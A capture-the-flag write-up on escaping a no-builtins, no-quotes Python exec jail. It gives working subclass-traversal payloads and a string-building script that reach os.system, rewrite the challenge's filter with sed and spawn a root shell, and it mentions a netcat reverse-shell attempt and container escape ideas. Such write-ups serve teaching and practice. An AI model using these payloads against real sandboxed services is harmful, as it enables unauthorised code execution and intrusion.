Rating: 5.0

This one was "fun" because you're essentially given a python jail shell:

```
exec(input, {"__builtins__": None, "print": print})
```

This means that the remote will run _any_ python code you give it... with the harrowing stipulation that you have no builtin functions except `print()`. Additionally, you can't use quote characters at all! This means you can't type in `"system"`, you can't call the `import` function, you can't even use the `chr()` function beacuse those are all builtin functions!

_But_, you still have python types you can work with and each of those types are built upon other modules and types with their own functions. For example:

```
(1).__class__.__base__.__subclasses__()
```

will give you a list of a lot of classes you can work with (https://book.hacktricks.xyz/misc/basic-python/bypass-python-sandboxes#no-builtins was a very useful resource but won't outright give you the answer due to the restriction against quote character usage).

It took a while analyzing what classes I could work with but eventually I found this one:

```
(1).__class__.__base__.__subclasses__()[132]
```

That's the `os` module! That's one step closer...

Now, the `os` module actually can tell you some of the functions it has:

```
(1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys()
```

These are returned as dictionary keys. One of these is `system` and it's the 45th item! Unfortunately, you can't simply do `[45]` and get it because dictionary keys aren't subscriptable (not sure why since it's essentially a list anyway).

We can cast it as a list though. It's true, we don't have the `list()` cast built in _but_, just like `os` is a module/class we can get to, we can find `list` in there:

```
(1).__class__.__base__.__subclasses__()[7]
```

That's `list`

```
(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[45]
```

This runs `os.system()`

Ultimately, we want to run `os.system("ls")` then `os.system("cat $FLAG_FILE_NAME")`

Now it gets tricky... How do we get letters without being able to use quotes? I spent a _lot_ of time trying to recreate the `chr()` function because that would be the holy grail. I could build any string I want with like `chr(0x41)` -> "A" or `chr(0x62)` -> "b". I could not figure that out in the end... I did find a workaround though.

Above, I am able to create a list of strings with `(1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys()` (remember: this is the list of `os` functions). So what happens if you subscript _that_? Say I got the first index of that list, then I got the first index of that string? The result is a character! This was a super roundabout way for me to generate a list of characters I can reference. I cobbled together the following script to generate **almost** any string I want:

```
d = """__name__ __doc__ __package__ __loader__ __spec__ __file__ __cached__ __builtins__ abc sys st _check_methods __all__ _exists _get_exports_list name linesep stat access ttyname chdir chmod fchmod chown fchown lchown chroot ctermid getcwd getcwdb link listdir lstat mkdir nice getpriority setpriority posix_spawn posix_spawnp readlink copy_file_range rename replace rmdir symlink system umask uname unlink remove utime times execv execve fork register_at_fork sched_get_priority_max sched_get_priority_min sched_getparam sched_getscheduler sched_rr_get_interval sched_setparam sched_setscheduler sched_yield sched_setaffinity sched_getaffinity openpty forkpty getegid geteuid getgid getgrouplist getgroups getpid getpgrp getppid getuid getlogin kill killpg setuid seteuid setreuid setgid setegid setregid setgroups initgroups getpgid setpgrp wait wait3 wait4 waitid waitpid getsid setsid setpgid tcgetpgrp tcsetpgrp open close closerange device_encoding dup dup2 lockf lseek read readv pread preadv write writev pwrite pwritev sendfile fstat isatty pipe pipe2 mkfifo mknod major minor makedev ftruncate truncate posix_fallocate posix_fadvise putenv unsetenv strerror fchdir fsync sync fdatasync WCOREDUMP WIFCONTINUED WIFSTOPPED WIFSIGNALED WIFEXITED WEXITSTATUS WTERMSIG WSTOPSIG fstatvfs statvfs confstr sysconf fpathconf pathconf abort getloadavg urandom setresuid setresgid getresuid getresgid get_terminal_size cpu_count get_inheritable set_inheritable get_blocking set_blocking scandir fspath getrandom memfd_create environ F_OK R_OK W_OK X_OK NGROUPS_MAX TMP_MAX WCONTINUED WNOHANG WUNTRACED O_RDONLY O_WRONLY O_RDWR O_NDELAY O_NONBLOCK O_APPEND O_DSYNC O_RSYNC O_SYNC O_NOCTTY O_CREAT O_EXCL O_TRUNC O_LARGEFILE O_EXEC O_SEARCH O_PATH O_TTY_INIT O_TMPFILE PRIO_PROCESS PRIO_PGRP PRIO_USER O_CLOEXEC O_ACCMODE O_ASYNC O_DIRECT O_DIRECTORY O_NOFOLLOW O_NOATIME EX_OK EX_USAGE EX_DATAERR EX_NOINPUT EX_NOUSER EX_NOHOST EX_UNAVAILABLE EX_SOFTWARE EX_OSERR EX_OSFILE EX_CANTCREAT EX_IOERR EX_TEMPFAIL EX_PROTOCOL EX_NOPERM EX_CONFIG ST_RDONLY ST_NOSUID ST_NODEV ST_NOEXEC ST_SYNCHRONOUS ST_MANDLOCK ST_WRITE ST_APPEND ST_NOATIME ST_NODIRATIME ST_RELATIME POSIX_FADV_NORMAL POSIX_FADV_SEQUENTIAL POSIX_FADV_RANDOM POSIX_FADV_NOREUSE POSIX_FADV_WILLNEED POSIX_FADV_DONTNEED P_PID P_PGID P_ALL WEXITED WNOWAIT WSTOPPED CLD_EXITED CLD_DUMPED CLD_TRAPPED CLD_CONTINUED F_LOCK F_TLOCK F_ULOCK F_TEST POSIX_SPAWN_OPEN POSIX_SPAWN_CLOSE POSIX_SPAWN_DUP2 SCHED_OTHER SCHED_FIFO SCHED_RR SCHED_BATCH SCHED_IDLE SCHED_RESET_ON_FORK RTLD_LAZY RTLD_NOW RTLD_GLOBAL RTLD_LOCAL RTLD_NODELETE RTLD_NOLOAD GRND_RANDOM GRND_NONBLOCK MFD_CLOEXEC MFD_ALLOW_SEALING MFD_HUGETLB MFD_HUGE_SHIFT MFD_HUGE_MASK MFD_HUGE_64KB MFD_HUGE_512KB MFD_HUGE_1MB MFD_HUGE_2MB MFD_HUGE_8MB MFD_HUGE_16MB MFD_HUGE_32MB MFD_HUGE_256MB MFD_HUGE_512MB MFD_HUGE_1GB MFD_HUGE_2GB MFD_HUGE_16GB pathconf_names confstr_names sysconf_names error waitid_result stat_result statvfs_result sched_param times_result uname_result terminal_size DirEntry _exit path curdir pardir sep pathsep defpath extsep altsep devnull supports_dir_fd supports_effective_ids supports_fd supports_follow_symlinks SEEK_SET SEEK_CUR SEEK_END makedirs removedirs renames walk fwalk _fwalk execl execle execlp execlpe execvp execvpe _execvpe get_exec_path MutableMapping _Environ _putenv _unsetenv getenv supports_bytes_environ environb getenvb fsencode fsdecode P_WAIT P_NOWAIT P_NOWAITO _spawnvef spawnv spawnve spawnvp spawnvpe spawnl spawnle spawnlp spawnlpe popen _wrap_close fdopen _fspath PathLike""".split()
def generate(s):
ans = list()
for c in s:
cont = True
for key_index, key in enumerate(d):
if c in key:
ans.append("(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[{}][{}]".format(key_index, key.find(c)))
cont = False
if not cont:
break
print(" + ".join(ans))

generate("ls")
```

(the big `d` variable was pulled from `for i in (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys()): print(i)` against the remote)

The result was this:

```
(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[4][2]
```

So if I wanted to do `os.system("ls")`, this would be it:

```
(1).__class__.__base__.__subclasses__()[132].__init__.__globals__[(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[45]]((1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[4][2])
```

And it worked!! I was able to list all the contents of the directory including `flag.txt`. Now I needed to `cat flag.txt`

I ran my script and... it didn't work :(

Turns out the big character set in the giant `d` string variable does not contain spaces and it does not contain `.`...

Spaces were relatively easy to get because all strings have the `ljust(n)` function. This function basically pads any string with space characters until it is an `n` length string. The space character would then be this:

```
().__class__.__bases__[0].__subclasses__()[22]((1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1].ljust(10))[-1]
```

It took me a bit of time to figure out where I could get a `.` character. My teammate then said to check out the `__doc__` variable in certain classes. Turns out, python ships each class with a `__doc__` which is a variable that describes that class' usage! For example, the `__doc__` of `str` is:

```
>>> str.__doc__
"str(object='') -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to 'strict'."
```

Notice that there are `.` characters!

Some patience was required but I finally got the dot character by doing:

```
(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3].__doc__[121]
```

Now I finally have all the building blocks. I amend my script (yes, I know it's ugly):

```
<truncated>
def generate(s):
ans = list()
for c in s:
if c == " ":
ans.append("().__class__.__bases__[0].__subclasses__()[22]((1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1].ljust(10))[-1]")
elif c == ".":
ans.append("(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3].__doc__[121]")
else:
cont = True
for key_index, key in enumerate(d):
if c in key:
ans.append("(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[{}][{}]".format(key_index, key.find(c)))
cont = False
if not cont:
break
print(" + ".join(ans))

generate("cat flag.txt")
```

`cat flag.txt` turns out to be this mess:

```
(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][4] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6] + ().__class__.__bases__[0].__subclasses__()[22]((1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1].ljust(10))[-1] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[5][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[2][7] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3].__doc__[121] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[13][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6]
```

So the finally `os.system("cat flag.txt")` was:

```
(1).__class__.__base__.__subclasses__()[132].__init__.__globals__[(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()((1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][4] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6] + ().__class__.__bases__[0].__subclasses__()[22]((1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1].ljust(10))[-1] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[5][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[2][7] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3].__doc__[121] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[13][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6])
```

That returned the flag!

-----

By the way, if you want to try this for yourself, I was able to extract the source code of the challenge too (using the same above method):

```
#!/usr/bin/python3.8
from sys import version

def main():
print(f'{version}\n')
print('[*] Only \U0001F47D are allowed!\n')
for _ in range(2):
text = input('>>> ').lower()
if "'" in text or '"' in text:
print('\U000026D4 No quotes are allowed! \U000026D4\n\nExiting..\n')
break
else:
exec(text, {'__builtins__': None, 'print':print})

if __name__ == "__main__":
main()
```

Try doing it yourself!

-----

Also, I noticed that when I look through the `os` module, I could see references to other challenges like `PWNSYSTEMDROP` or `MISCCLOSETHEDOOR`. I figured that it was interesting enough and to try and get full RCE/shell into the machine instead of just `cat flag.txt`. This turned out to be _way_ more trouble than it was worth but doable.

To get full shell, I thought well maybe I could get a reverse shell with something like `nc $MY_IP 4444` or something. I went down this path for a _long_ time because IP addresses are _digits_ and not letters. Notice that none of my above code had numbers. So I checked `__doc__`s. I went through every one of them in a loop and I found that I could only get certain digits: `1`, `2`, `3`, `5`, `9` (or something like that). I threw up a server on AWS and it gave me an IP address like `52.183.219.19` (not the real IP. I don't remember what it was). I didn't have the `8` digit! So I kept creating elastic IPs and deleting them and I figured I must be racking up a bill rolling the proverbial dice...

After about 2-3 hours of this, I decided to go a different way.

1. `cp build_yourself_in.py t`
2. `sed 's/ or / and /g' t > t2`
3. `mv t2 build_yourself_in.py`

This copies the main source code into a different file, changes code ` if "'" in text or '"' in text:` to ` if "'" in text and '"' in text:`. , then copies it back to be the main source code. This means that the next time I go into the remote service, it's running _my_ code.

The code change I did makes it so that I can use quote characters! So long as I don't use both `"` and `'` at the same time, I won't hit that `No quotes are allowed` error!

I ran into the following roadblock though:

1. I didn't have a `'` character which `sed` would require. --- However, I found this in a `__doc__`: `(1).__class__.__base__.__subclasses__()[28].__doc__[442]`
2. I didn't have a `>` character which I needed to get the `sed` output (in hindsight, I could've used the `-i` flag to do inline replacement) --- I found this in `(1).__class__.__base__.__subclasses__()[0].__doc__[48]`
3. I didn't have a `/` character which `sed` needs to delimit the search parameter and the replace parameter --- I found this in `(1).__class__.__base__.__subclasses__()[104].__doc__[202]`

I amend my script once again:

```
def generate(s):
ans = list()
for c in s:
if c == " ":
#ans.append("().__class__.__bases__[0].__subclasses__()[22]((1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1].ljust(10))[-1]")
ans.append("(1).__class__.__base__.__subclasses__()[104].__doc__[199]") # I found a shorter version of the space character that doesn't use ljust
elif c == ".":
ans.append("(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3].__doc__[121]")
elif c == "'":
ans.append("(1).__class__.__base__.__subclasses__()[28].__doc__[442]")
elif c == ">":
ans.append(" (1).__class__.__base__.__subclasses__()[0].__doc__[48]".strip())
elif c == "/":
ans.append("(1).__class__.__base__.__subclasses__()[104].__doc__[202]")
else:
cont = True
for key_index, key in enumerate(d):
if c in key:
ans.append("(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[{}][{}]".format(key_index, key.find(c)))
cont = False
if not cont:
break
print(" + ".join(ans))

generate("cp build_yourself_in.py t")
print("")
generate("sed 's/ or / and /g' t > t2")
print("")
generate("mv t2 build_yourself_in.py")
```

The output is (brace yourself):

```
(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][4] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[2][2] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[5][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][0] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[9][1] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][7] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[4][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][5] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[5][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][0] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[5][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3].__doc__[121] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[2][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[9][1] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6]

(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[4][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][5] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][2] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[28].__doc__[442] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[4][2] + (1).__class__.__base__.__subclasses__()[104].__doc__[202] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][7] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[104].__doc__[202] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][2] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[104].__doc__[202] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[2][7] + (1).__class__.__base__.__subclasses__()[28].__doc__[442] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[0].__doc__[48] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[105][3]

(1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][4] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[49][4] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][6] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[105][3] + (1).__class__.__base__.__subclasses__()[104].__doc__[199] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[5][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][0] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[9][1] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[1][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[7][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][7] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[4][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][5] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[5][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][0] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[5][3] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[0][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[3].__doc__[121] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[2][2] + (1).__class__.__base__.__subclasses__()[7]((1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys())[9][1]
```

If you run the `os.system` string against each of these chunks, you will have replaced the `build_yourself_in.py` code enough so that you can simply do:

```
(1).__class__.__base__.__subclasses__()[132].__init__.__globals__.keys()["system"]("/bin/sh")
```

This grants you a completely unencumbered shell!

```
>>> (1).__class__.__base__.__subclasses__()[132].__init__.__globals__["system"]("/bin/sh")
ls
build_yourself_in.py
flag.txt
t
whoami
root
id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
```

Afternote 1: You can run `python3 -c 'import pty; pty.spawn("/bin/sh")'` to get a prettier shell.
Afternote 2: Turns out that of course this was a docker container and that the references to other challenges were simply environment variables that didn't mean anything.
Afternote 3: No, the container wasn't running with full `cap_net_admin` docker permissions so I couldn't privesc to the true host + no, I couldn't run do an `nsenter` privesc either + no, the docker root user was not in the `docker` group for the easy `rootplease` privesc. Can't fault me for trying!

rudra.desai200April 24, 2021, 3:14 a.m.

Amazing work dude!!!1 Really enjoyed reading your write-up!!